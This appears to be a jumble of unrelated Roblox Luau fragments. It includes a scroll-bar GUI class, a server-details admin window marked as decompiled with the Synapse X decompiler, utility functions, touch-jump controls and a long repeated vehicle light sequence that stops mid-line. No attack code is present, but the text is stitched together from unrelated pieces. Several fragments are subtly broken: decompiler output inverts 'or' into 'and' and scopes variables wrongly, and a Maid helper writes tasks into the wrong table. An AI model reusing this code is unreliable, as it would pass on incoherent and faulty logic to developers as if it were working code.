ScrollUpGraphic.Parent = ScrollUpFrame local ScrollBarFrame = ScrollFrame.ScrollBar local ScrollThumbFrame = ScrollBarFrame.ScrollThumb do local size = GUI_SIZE*3/8 local Decal = GripGraphic(Vector2.new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate) Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2) Decal.Parent = ScrollThumbFrame end local Class = setmetatable({ GUI = ScrollFrame; ScrollIndex = 0; VisibleSpace = 0; TotalSpace = 0; PageIncrement = 1; },mt) local UpdateScrollThumb if horizontal then function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE) if ScrollThumbFrame.AbsoluteSize.x < GUI_SIZE then ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE) end local barSize = ScrollBarFrame.AbsoluteSize.x ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0) end else function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0) if ScrollThumbFrame.AbsoluteSize.y < GUI_SIZE then ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE) end local barSize = ScrollBarFrame.AbsoluteSize.y ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0) end end local lastDown local lastUp local scrollStyle = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0} local scrollStyle_ds = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0.7} local function Update() local t = Class.TotalSpace local v = Class.VisibleSpace local s = Class.ScrollIndex if v <= t then if s > 0 then if s + v > t then Class.ScrollIndex = t - v end else Class.ScrollIndex = 0 end else Class.ScrollIndex = 0 end if Class.UpdateCallback then if Class.UpdateCallback(Class) == false then return end end local down = Class:CanScrollDown() local up = Class:CanScrollUp() if down ~= lastDown then lastDown = down ScrollDownFrame.Active = down ScrollDownFrame.AutoButtonColor = down local children = ScrollDownGraphic:GetChildren() local style = down and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end if up ~= lastUp then lastUp = up ScrollUpFrame.Active = up ScrollUpFrame.AutoButtonColor = up local children = ScrollUpGraphic:GetChildren() local style = up and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end ScrollThumbFrame.Visible = down or up UpdateScrollThumb() end Class.Update = Update SetZIndexOnChanged(ScrollFrame) local MouseDrag = Create('ImageButton',{ Name = "MouseDrag"; Position = UDim2.new(-0.25,0,-0.25,0); Size = UDim2.new(1.5,0,1.5,0); Transparency = 1; AutoButtonColor = false; Active = true; ZIndex = 10; }) local scrollEventID = 0 ScrollDownFrame.MouseButton1Down:connect(function() scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollDownFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollDown() wait(0.2) -- delay before auto scroll while scrollEventID == current do Class:ScrollDown() if not Class:CanScrollDown() then break end wait() end end) ScrollDownFrame.MouseButton1Up:connect(function() scrollEventID = tick() end) ScrollUpFrame.MouseButton1Down:connect(function() scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollUp() wait(0.2) while scrollEventID == current do Class:ScrollUp() if not Class:CanScrollUp() then break end wait() end end) ScrollUpFrame.MouseButton1Up:connect(function() scrollEventID = tick() end) if horizontal then ScrollBarFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if x > ScrollThumbFrame.AbsolutePosition.x then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(0.2) while scrollEventID == current do if x < ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(0.2) while scrollEventID == current do if x > ScrollThumbFrame.AbsolutePosition.x then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) else ScrollBarFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if y > ScrollThumbFrame.AbsolutePosition.y then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(0.2) while scrollEventID == current do if y < ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(0.2) while scrollEventID == current do if y > ScrollThumbFrame.AbsolutePosition.y then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) end if horizontal then ScrollThumbFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x local drag_con local up_con drag_con = MouseDrag.MouseMoved:connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x local bar_abs_one = bar_abs_pos + bar_drag x = x - mouse_offset x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x x = x - bar_abs_pos Class:SetScrollPercent(x/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:disconnect(); drag_con = nil up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) else ScrollThumbFrame.MouseButton1Down:connect(function(x,y) scrollEventID = tick() local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y local drag_con local up_con drag_con = MouseDrag.MouseMoved:connect(function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y local bar_abs_one = bar_abs_pos + bar_drag y = y - mouse_offset y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y y = y - bar_abs_pos Class:SetScrollPercent(y/(bar_drag)) end) up_con = MouseDrag.MouseButton1Up:connect(function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) drag_con:disconnect(); drag_con = nil up_con:disconnect(); drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) end function Class:Destroy() ScrollFrame:Destroy() MouseDrag:Destroy() for k in pairs(Class) do Class[k] = nil end setmetatable(Class,nil) end Update() return Class end end
-- Tween service reference
local TweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; local function u1(p1) if p1 then return "Yes"; end; return "No"; end; return function(p2) local v1 = nil; local v2 = client.UI.Make("Window", { Name = "ServerDetails", Title = "Server Details", Icon = client.MatIcons.Topic, Size = { 420, 360 }, MinSize = { 374, 155 }, AllowMultiple = false }); local v3 = v2:Add("TabFrame", { Size = UDim2.new(1, -10, 1, -10), Position = UDim2.new(0, 5, 0, 5) }); local v4 = v3:NewTab("Overview", { Text = "Overview" }); local v5 = v3:NewTab("Location", { Text = "Location" }); local v6 = v3:NewTab("Players", { Text = "Players" }); local v7 = v3:NewTab("Workspace", { Text = "Workspace" }); if p2.WorkspaceInfo then local v8 = { Text = "", ToolTip = "Advanced stats" }; function v8.OnClick() client.Remote.Send("ProcessCommand", p2.CmdPrefix .. "perfstats"); end; v2:AddTitleButton(v8):Add("ImageLabel", { Size = UDim2.new(0, 18, 0, 18), Position = UDim2.new(0, 6, 0, 1), Image = client.MatIcons.Leaderboard, BackgroundTransparency = 1 }); v2:AddTitleButton({ Text = "", ToolTip = "Game explorer", OnClick = function() client.Remote.Send("ProcessCommand", p2.CmdPrefix .. "explorer"); end }):Add("ImageLabel", { Size = UDim2.new(0, 18, 0, 18), Position = UDim2.new(0, 6, 0, 1), Image = client.MatIcons.Folder, BackgroundTransparency = 1 }); end; if service.RunService:IsStudio() then local v9 = "Studio"; elseif p2.PrivateServerId ~= "" then if p2.PrivateServerOwnerId ~= 0 then v9 = "Private"; else v9 = "Reserved"; end; else v9 = "Standard"; end; local v10 = { { "Game ID", game.GameId }, { "Game Creator", service.MarketPlace:GetProductInfo(game.PlaceId).Creator.Name .. " (#" .. p2.CreatorId .. ")" }, { "Creator Type", game.CreatorType.Name }, { "Place ID", game.PlaceId }, { "Place Name", service.MarketPlace:GetProductInfo(game.PlaceId).Name and "[Error]" }, { "Place Version", game.PlaceVersion }, "", { "Server Job ID", game.JobId and "[Error]" }, { "Server Type", v9 }, "", { "Server Speed", math.round(service.Workspace:GetRealPhysicsFPS()) }, { "Server Age", p2.ServerAge }, { "Server Start Time", service.FormatTime(p2.ServerStartTime) } }; if v9 == "Reserved" then table.insert(v10, 10, { "Private Server ID", p2.PrivateServerId }); elseif v9 == "Private" then table.insert(v10, 10, { "Private Server ID", p2.PrivateServerId }); table.insert(v10, 11, { "Private Server Owner", (service.Players:GetNameFromUserIdAsync(p2.PrivateServerOwnerId) and "[Unknown Username]") .. " (" .. p2.PrivateServerOwnerId .. ")" }); end; local v11 = 0; local v12 = 0; for v13, v14 in ipairs(v10) do if type(v14) == "table" then v11 = v11 + 1; local v15 = { Name = v14[1], Text = " " .. v14[1] .. ":", ToolTip = v14[3] }; if v11 % 2 == 0 then local v16 = 0; else v16 = 0.2; end; v15.BackgroundTransparency = v16; v15.Size = UDim2.new(1, -10, 0, 30); v15.Position = UDim2.new(0, 5, 0, v12 + 5); v15.TextXAlignment = "Left"; v4:Add("TextLabel", v15):Add("TextBox", { Text = v14[2], BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0), Size = UDim2.new(1, -150, 1, 0), Position = UDim2.new(1, -5, 0, 0), TextXAlignment = "Right", TextEditable = false, ClearTextOnFocus = false }); v12 = v12 + 30; else v12 = v12 + 10; end; end; v4:ResizeCanvas(false, true, false, false, 5, 5); spawn(function() while wait(0.5) do pcall(function() v4["Server Speed"].TextLabel.Text = math.round(service.Workspace:GetRealPhysicsFPS()); v4["Server Age"].TextLabel.Text = service.FormatTime(os.time() - p2.ServerStartTime); end); end; end); v1 = function() local v17 = {}; if p2.ServerInternetInfo then local l__ServerInternetInfo__18 = p2.ServerInternetInfo; for v19, v20 in ipairs({ { "Timezone", l__ServerInternetInfo__18.timezone and "[Error]" }, { "Country", l__ServerInternetInfo__18.country and "[Error]" }, { "Region", l__ServerInternetInfo__18.region and "[Error]" }, { "City", l__ServerInternetInfo__18.city and "[Error]" }, { "Zipcode", l__ServerInternetInfo__18.zipcode and "[Error]" }, { "IP Address", l__ServerInternetInfo__18.query and "[Error]" }, { "Coordinates", l__ServerInternetInfo__18.coords and "[Error]" } }) do table.insert(v17, v20); end; else table.insert(v17, { "ERROR: Server internet info failed to load" }); end; local v21 = 1; for v22, v23 in ipairs(v17) do local v24 = { Text = " " .. v23[1] .. ":", ToolTip = v23[3] }; if v21 % 2 == 0 then local v25 = 0; else v25 = 0.2; end; v24.BackgroundTransparency = v25; v24.Size = UDim2.new(1, -10, 0, 30); v24.Position = UDim2.new(0, 5, 0, 30 * (v21 - 1) + 5); v24.TextXAlignment = "Left"; v5:Add("TextLabel", v24):Add("TextLabel", { Text = v23[2], BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0), Size = UDim2.new(1, -150, 1, 0), Position = UDim2.new(1, -5, 0, 0), TextXAlignment = "Right" }); v21 = v21 + 1; end; v5:ResizeCanvas(false, true, false, false, 5, 5); end; if service.RunService:IsStudio() then local v26 = v5:Add("TextLabel", { Text = "Server location info has been hidden in a Studio environment for your privacy, since it may be based on your device's location.", BackgroundTransparency = 0.4, Size = UDim2.new(1, -10, 0, 80), Position = UDim2.new(0, 5, 0, 5), TextXAlignment = "Left", TextYAlignment = "Top", TextWrapped = true }); v26:Add("UIPadding", { PaddingLeft = UDim.new(0, 5), PaddingRight = UDim.new(0, 5), PaddingTop = UDim.new(0, 5), PaddingBottom = UDim.new(0, 5) }); v26:Add("ImageLabel", { Image = client.MatIcons["Privacy tip"], ImageTransparency = 0.2, BackgroundTransparency = 1, Size = UDim2.new(0, 24, 0, 24), Position = UDim2.new(1, -140, 1, -28) }); local v27 = { Text = "Show Anyway", Size = UDim2.new(0, 110, 0, 30), Position = UDim2.new(1, -110, 1, -30), TextXAlignment = "Center" }; function v27.OnClick() v1(); v26:Destroy(); end; v26:Add("TextButton", v27); else v1(); end; local v28 = v6:Add("TextBox", { Size = UDim2.new(1, -10, 0, 25), Position = UDim2.new(0, 5, 0, 5), BackgroundTransparency = 0.5, BorderSizePixel = 0, TextColor3 = Color3.new(1, 1, 1), Text = "", TextStrokeTransparency = 0.8 }); v28:Add("ImageLabel", { Image = client.MatIcons.Search, Position = UDim2.new(1, -21, 0, 3), Size = UDim2.new(0, 18, 0, 18), ImageTransparency = 0.2, BackgroundTransparency = 1 }); local u2 = 0; local u3 = 0; local u4 = v6:Add("ScrollingFrame", { List = {}, ScrollBarThickness = 2, BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 32), Size = UDim2.new(1, -10, 1, -37) }); local u5 = v28; local function u6(p3) u2 = 0; u3 = 0; local v29 = {}; for v30, v31 in ipairs(service.Players:GetPlayers()) do table.insert(v29, v31.Name); end; table.sort(v29); local v32 = 1; u4:ClearAllChildren(); for v33, v34 in ipairs(v29) do local v35 = service.Players:FindFirstChild(v34); if v35 and (v34:sub(1, #p3):lower() == p3:lower() or v35.DisplayName:sub(1, #p3):lower() == p3:lower()) then local v36 = { Text = " " .. (v34 == v35.DisplayName and "@" .. v34 or v35.DisplayName .. " (@" .. v34 .. ")"), ToolTip = "User ID: " .. service.Players[v34].UserId .. " [Click to open profile]" }; if v32 % 2 == 0 then local v37 = 0; else v37 = 0.2; end; v36.BackgroundTransparency = v37; v36.Size = UDim2.new(1, 0, 0, 30); v36.Position = UDim2.new(0, 0, 0, 30 * (v32 - 1) + 5); v36.TextXAlignment = "Left"; function v36.OnClicked() client.Remote.Send("ProcessCommand", p2.CmdPlayerPrefix .. "profile" .. p2.SplitKey .. v34); v2:Close(); end; local v38 = u4:Add("TextButton", v36); local v39 = p2.Admins and p2.Admins[v34]; if v39 and v39 ~= "Player" then u3 = u3 + 1; if table.find(p2.Donors, v34) then v39 = v39 .. " | Donor"; end; v38:Add("TextLabel", { Text = " " .. v39 .. " ", BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -120, 0, 0), TextXAlignment = "Right" }); elseif table.find(p2.Donors, v34) then u2 = u2 + 1; v38:Add("TextLabel", { Text = " Donor ", BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -120, 0, 0), TextXAlignment = "Right" }); else u2 = u2 + 1; end; spawn(function() v38:Add("ImageLabel", { Image = service.Players:GetUserThumbnailAsync(service.Players[v34].UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48), BackgroundTransparency = 1, Size = UDim2.new(0, 30, 0, 30), Position = UDim2.new(0, 0, 0, 0) }); end); v32 = v32 + 1; end; end; u4:ResizeCanvas(false, true, false, false, 5, 5); u5.PlaceholderText = "Players: " .. u2 .. (p2.Admins and " | Admins: " .. u3 or "") .. " | Donors: " .. #p2.Donors; end; u5:GetPropertyChangedSignal("Text"):Connect(function() u6(u5.Text); end); u6(""); u5 = p2.WorkspaceInfo; if u5 then u5 = 0; u4 = 0; for v40, v41 in ipairs({ { "Streaming Enabled", u1(service.Workspace.StreamingEnabled) }, { "Interpolation Throttling", service.Workspace.InterpolationThrottling.Name }, { "Gravity", service.Workspace.Gravity }, { "Fallen Parts Destroy Height", service.Workspace.FallenPartsDestroyHeight }, { "Objects", p2.WorkspaceInfo.ObjectCount }, { "Cameras", p2.WorkspaceInfo.CameraCount }, { "Nil Players", p2.WorkspaceInfo.NilPlayerCount }, "", { "HTTP Service Enabled", u1(p2.WorkspaceInfo.HttpEnabled) }, { "Loadstring Enabled", u1(p2.WorkspaceInfo.LoadstringEnabled) }, "" }) do if type(v41) == "table" then u5 = u5 + 1; local v42 = { Name = v41[1], Text = " " .. v41[1] .. ":", ToolTip = v41[3] }; if u5 % 2 == 0 then local v43 = 0; else v43 = 0.2; end; v42.BackgroundTransparency = v43; v42.Size = UDim2.new(1, -10, 0, 25); v42.Position = UDim2.new(0, 5, 0, u4 + 5); v42.TextXAlignment = "Left"; v7:Add("TextLabel", v42):Add("TextLabel", { Text = v41[2], BackgroundTransparency = 1, AnchorPoint = Vector2.new(1, 0), Size = UDim2.new(1, -150, 1, 0), Position = UDim2.new(1, -5, 0, 0), TextXAlignment = "Right" }); u4 = u4 + 25; else u4 = u4 + 10; end; end; v7:Add("TextLabel", { Text = "Click on the title bar buttons to view technical performance statistics or to open the game hierarchy explorer.", TextWrapped = true, TextYAlignment = "Top", BackgroundTransparency = 1, Size = UDim2.new(1, -10, 0, 40), Position = UDim2.new(0, 5, 0, u4 + 10) }); v7:ResizeCanvas(false, true, false, false, 5, 5); else u4 = v7; u5 = v7.Disable; u5(u4); end; u4 = v2; u5 = v2.Ready; u5(u4); end;
--[=[ Utility functions involving attributes. @class RxAttributeUtils ]=]
local require = require(script.Parent.loader).load(script) local Observable = require("Observable") local Maid = require("Maid") local RxAttributeUtils = {}
--[=[ Adds a recursive child writer to use at the key `name` @param name string @param writer DataStoreWriter ]=]
function DataStoreWriter:AddWriter(name, writer) assert(type(name) == "string", "Bad name") assert(not self._writers[name], "Writer already exists for name") assert(writer, "Bad writer") self._writers[name] = writer end
--[=[ Gives a task to the maid for cleanup and returnsthe resulting value @param task MaidTask -- An item to clean @return MaidTask ]=]
function Maid:Add(task) if not task then error("Task cannot be false or nil", 2) end self[#self._tasks+1] = task if type(task) == "table" and (not task.Destroy) then warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback()) end return task end
-----------------------
if f1==1 then f1=0 local b=script.b:Clone() b.Parent=script.Parent.PS.bu b.Position=UDim2.new(0,po1.X+8,0,po1.Y+6) b.BackgroundColor3=p1.BackgroundColor3 b.inf.Value=Vector3.new(1,y1) end if z1==0 and s1==0 then po1=po1+Vector3.new(x1,y1)/3 end po1=po1.X<0 and Vector3.new(0,po1.Y)or po1 po1=po1.X>26 and Vector3.new(26,po1.Y)or po1 po1=po1.Y<0 and Vector3.new(po1.X,0)or po1 po1=po1.Y>25 and Vector3.new(po1.X,25)or po1 p1.Position=UDim2.new(0,po1.X,0,po1.Y) local fr1,fr2='b' if s1==1 then fr1='k'fr2='k'print'AAA' elseif z1==1 then fr1='b2' fr2=y1==0 and's1'or y1==1 and's3'or's2' elseif math.abs(x1)+math.abs(y1)>0 then fr1='b' fr2=math.sin(tick()*8)>0 and'l1'or'l2' else fr1='b' fr2='l2' end for _,v in pairs(p1:GetChildren())do if v.Name==fr1 or v.Name==fr2 then v.Visible=true else v.Visible=false end end
--Calculates an angle in relation to another part.
function core.findAngle(pos1,pos2,part) local yOrientation = part.Orientation.Y local rot = math.atan2(pos2.Z-pos1.Z, pos2.X-pos1.X) local desiredAngle = math.deg(rot)+yOrientation+90 if desiredAngle > 180 then desiredAngle = -(360-desiredAngle) elseif desiredAngle <-180 then desiredAngle = 360+desiredAngle end return desiredAngle end function core.findPitch(pos1,pos2,part) local xOrientation = part.Orientation.X local rot = math.atan2(pos2.Y-pos1.Y, math.abs(pos2.Z-pos1.Z)) local desiredAngle = math.deg(rot)+xOrientation if desiredAngle > 180 then desiredAngle = -(360-desiredAngle) elseif desiredAngle <-180 then desiredAngle = 360+desiredAngle end return desiredAngle end function core.tempAttach(pos,life) local attach = Instance.new("Attachment") attach.WorldPosition = pos attach.Parent = workspace.Terrain debrisService:AddItem(attach,life) return attach end function core.playSound(sound,pos) local attach = core.tempAttach(pos,sound.TimeLength) local soundClone = sound:Clone() soundClone.Parent = attach soundClone:Play() end return core
--[[** ensures Roblox Color3 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Color3 = t.typeof("Color3")
--[[ Public API ]]
-- function TouchJump:Enable() ExternallyEnabled = true enableButton() end function TouchJump:Disable() ExternallyEnabled = false disableButton() end function TouchJump:Create(parentFrame) if JumpButton then JumpButton:Destroy() JumpButton = nil end local minAxis = math.min(parentFrame.AbsoluteSize.x, parentFrame.AbsoluteSize.y) local isSmallScreen = minAxis <= 500 local jumpButtonSize = isSmallScreen and 70 or 120 JumpButton = Instance.new('ImageButton') JumpButton.Name = "JumpButton" JumpButton.Visible = false JumpButton.BackgroundTransparency = 1 JumpButton.Image = TOUCH_CONTROL_SHEET JumpButton.ImageRectOffset = Vector2.new(1, 146) JumpButton.ImageRectSize = Vector2.new(144, 144) JumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize) JumpButton.Position = isSmallScreen and UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize - 20) or UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize * 1.75) local touchObject = nil JumpButton.InputBegan:connect(function(inputObject) --A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event --if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin) if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then return end touchObject = inputObject JumpButton.ImageRectOffset = Vector2.new(146, 146) MasterControl:SetIsJumping(true) end) OnInputEnded = function() touchObject = nil MasterControl:SetIsJumping(false) JumpButton.ImageRectOffset = Vector2.new(1, 146) end JumpButton.InputEnded:connect(function(inputObject) if inputObject == touchObject then OnInputEnded() end end) GuiService.MenuOpened:connect(function() if touchObject then OnInputEnded() end end) if not CharacterAddedConnection then setupCharacterAddedFunction() end JumpButton.Parent = parentFrame end return TouchJump
--Dont touch
ZR15RightLegPointZero = 0 XR15RightLegPointZero = 0 YR15RightLegPointZero = 0 R15RightKneePointZero = 0 ZR15RightArmPointZero = 0 YR15RightArmPointZero = 0 XR15RightArmPointZero = 0 R15RightElbowPointZero = 0 ZR15LeftLegPointZero = 0 XR15LeftLegPointZero = 0 YR15LeftLegPointZero = 0 R15LeftKneePointZero = 0 ZR15LeftArmPointZero = 0 YR15LeftArmPointZero = 0 XR15LeftArmPointZero = 0 R15LeftElbowPointZero = 0 ZR15LowerTorsoPointZero = 0 XR15LowerTorsoPointZero = 0 YR15LowerTorsoPointZero = 0 ZR15UpperTorsoPointZero = 0 bike.DriveSeat.ChildRemoved:connect(function(child) handler:FireServer("RemovePlayer",C,child) end) handler:FireServer("CreatePlayer",C)
--New pattern
MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 0 wait(0.05) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 1 wait(0.05) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 0 wait(0.05) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 1 wait(0.05) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 1 wait(0.02) --New pattern MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 0 MainVeh.TDI2.Transparency = 0 MainVeh.TDI3.Transparency = 0 MainVeh.TDI4.Transparency = 0 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 1 MainVeh.TDI6.Transparency = 1 MainVeh.TDI7.Transparency = 1 MainVeh.TDI8.Transparency = 1 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 1 MainVeh.TDI4.Transparency = 1 MainVeh.TDI5.Transparency = 0 MainVeh.TDI6.Transparency = 0 MainVeh.TDI7.Transparency = 0 MainVeh.TDI8.Transparency = 0 wait(0.02) MainVeh.TDI1.Transparency = 1 MainVeh.TDI2.Transparency = 1 MainVeh.TDI3.Transparency = 